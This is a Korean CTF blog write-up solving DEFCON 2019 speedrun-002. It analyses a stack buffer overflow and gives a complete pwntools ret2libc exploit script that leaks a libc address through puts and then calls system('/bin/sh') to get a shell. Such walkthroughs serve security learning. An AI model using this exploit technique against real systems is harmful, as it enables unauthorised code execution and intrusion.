문제 풀이 환경 : ubuntu 16.04.7 |
slow slow slow run 마지막에 애먹은 문제다.
Analysis
친절하게 이름이 main이라고 되어 있다.
buf에 0x12C만큼 입력받고 아래 if문에서 buf를 확인하고 있다.
"Everything intelligent is so boring." 문자열과 buf를 비교하고 있는데 0x24 길이만 비교한다.
같으면 if문 안으로 들어가서 v2를 인자로 sub_400705 함수로 이동하게 된다.
처음에 if문 들어가기 전 read에서 bof가 터져서 이걸로 어떻게 해볼까 했는데 이 문제를 풀려면 어쨌든 sub_400705 함수를 거쳐야 하기 때문에 if문 조건을 맞춰주어야 한다.
여기서도 bof가 터진다.
인자로 받은 a1에 0x7DA만큼 쓰는데 이 a1은 sub_40074C에서 선언된 0x400 크기의 v2이다.
일단 보호기법은 이정도이고, Partial RELRO이니 got overwriting이 가능하다.
How to exploit
필요한 가젯들을 모아 rop를 진행하면 될 듯 하다.
64bit이니 기본적으로 pop_rdi, pop_rsi, pop_rdx를 찾아준다.
처음에 libc base를 구해주기 위해서 puts 함수 인자에 read_got를 넣어서 read 함수의 실제 주소를 leak해주었다.
그리고 main으로 다시 돌아가게 했다.
libc는 어떻게 구했느냐???
아래 libc database 사이트에서 구했다.
보통 libc base 하위 1.5는 항상 0인데, 이것을 이용한 것이다. 사용 방법은 서버의 어떤 함수 got에 있는 주소를 출력하고 하위 1.5바이트를 저기 사이트에다가 넣으면 된다. 나같은 경우는 read / 070을 넣었다.
저기 libc를 다운받아서 같은 경로에 넣어주었다.
got는 바이너리에 있는 주소니까 변하지 않는다. read_got를 출력하면 그 got의 주소가 아니라 got가 담고 있는 실제 주소를 출력한다. 그리고 이 실제 주소는 libc에 따라 달라진다.
두 번째 payload를 전송할 때 ret에 system함수 주소를 넣고 인자로 "/bin/sh" 문자열을 주었다.
이 때, ret 주소에다가 직접 system_addr을 넣어주었다.
그냥 넣어주니까 안되었는데 그 이유는 아래 티스토리에 자세히 설명되어 있다.
요약하면 movaps 때문이라고 한다(?)
아무튼 이것때문에 remote에서 익스가 잘 안되었었다.
이런 짓 안하려면 one gadget 쓰는 것도 방법이다.
Let's exploit!
아래는 익스 코드!!
쓸데없이 pop rsi랑 pop rdx 가젯을 구했다. ㅋㅋ
from pwn import *
#p = process("./speedrun-002")
p = remote("172.17.0.2", 31337)
elf = ELF("./speedrun-002")
#libc = elf.libc
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
puts_plt = elf.plt['puts']
read_got = elf.got['read']
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
pop_rdi = 0x4008a3
pop_rsi = 0x4008a1 #pop rsi ; pop r15 ; ret
pop_rdx = 0x4006ec
main = 0x4007CE
bss_addr = elf.bss()
binsh = "/bin/sh\x00"
# first main
payload = "Everything intelligent is so boring."
p.recvuntil("What say you now?")
p.sendline(payload)
payload = ''
payload += "A" * 0x408 # buf + sfp
# get read_addr
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main) # return to main
p.recvuntil("What an interesting thing to say.\nTell me more.")
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = read_addr - read_offset
log.info('read_addr : ' + hex(read_addr))
log.info('libc_base : ' + hex(libc_base))
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
# second main
payload = "Everything intelligent is so boring."
p.recvuntil("What say you now?")
p.sendline(payload)
payload = ''
payload += "A" * 0x408 # buf + sfp
# ret overwriting
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(0x400576) # ret = 0x400576
payload += p64(system_addr) # exploit!!!
p.recvuntil("What an interesting thing to say.\nTell me more.")
p.sendline(payload)
p.interactive()
docker를 다운받아 실행하고 flag를 획득할 수 있당.
'CTF > DEFCON 2019 speedrun' 카테고리의 다른 글
[DEFCON 2019] speedrun-004 풀이 (0) | 2021.02.01 |
---|---|
[DEFCON 2019] speedrun-003 풀이 (0) | 2021.01.28 |
[DEFCON 2019] speedrun-001 풀이 (0) | 2021.01.25 |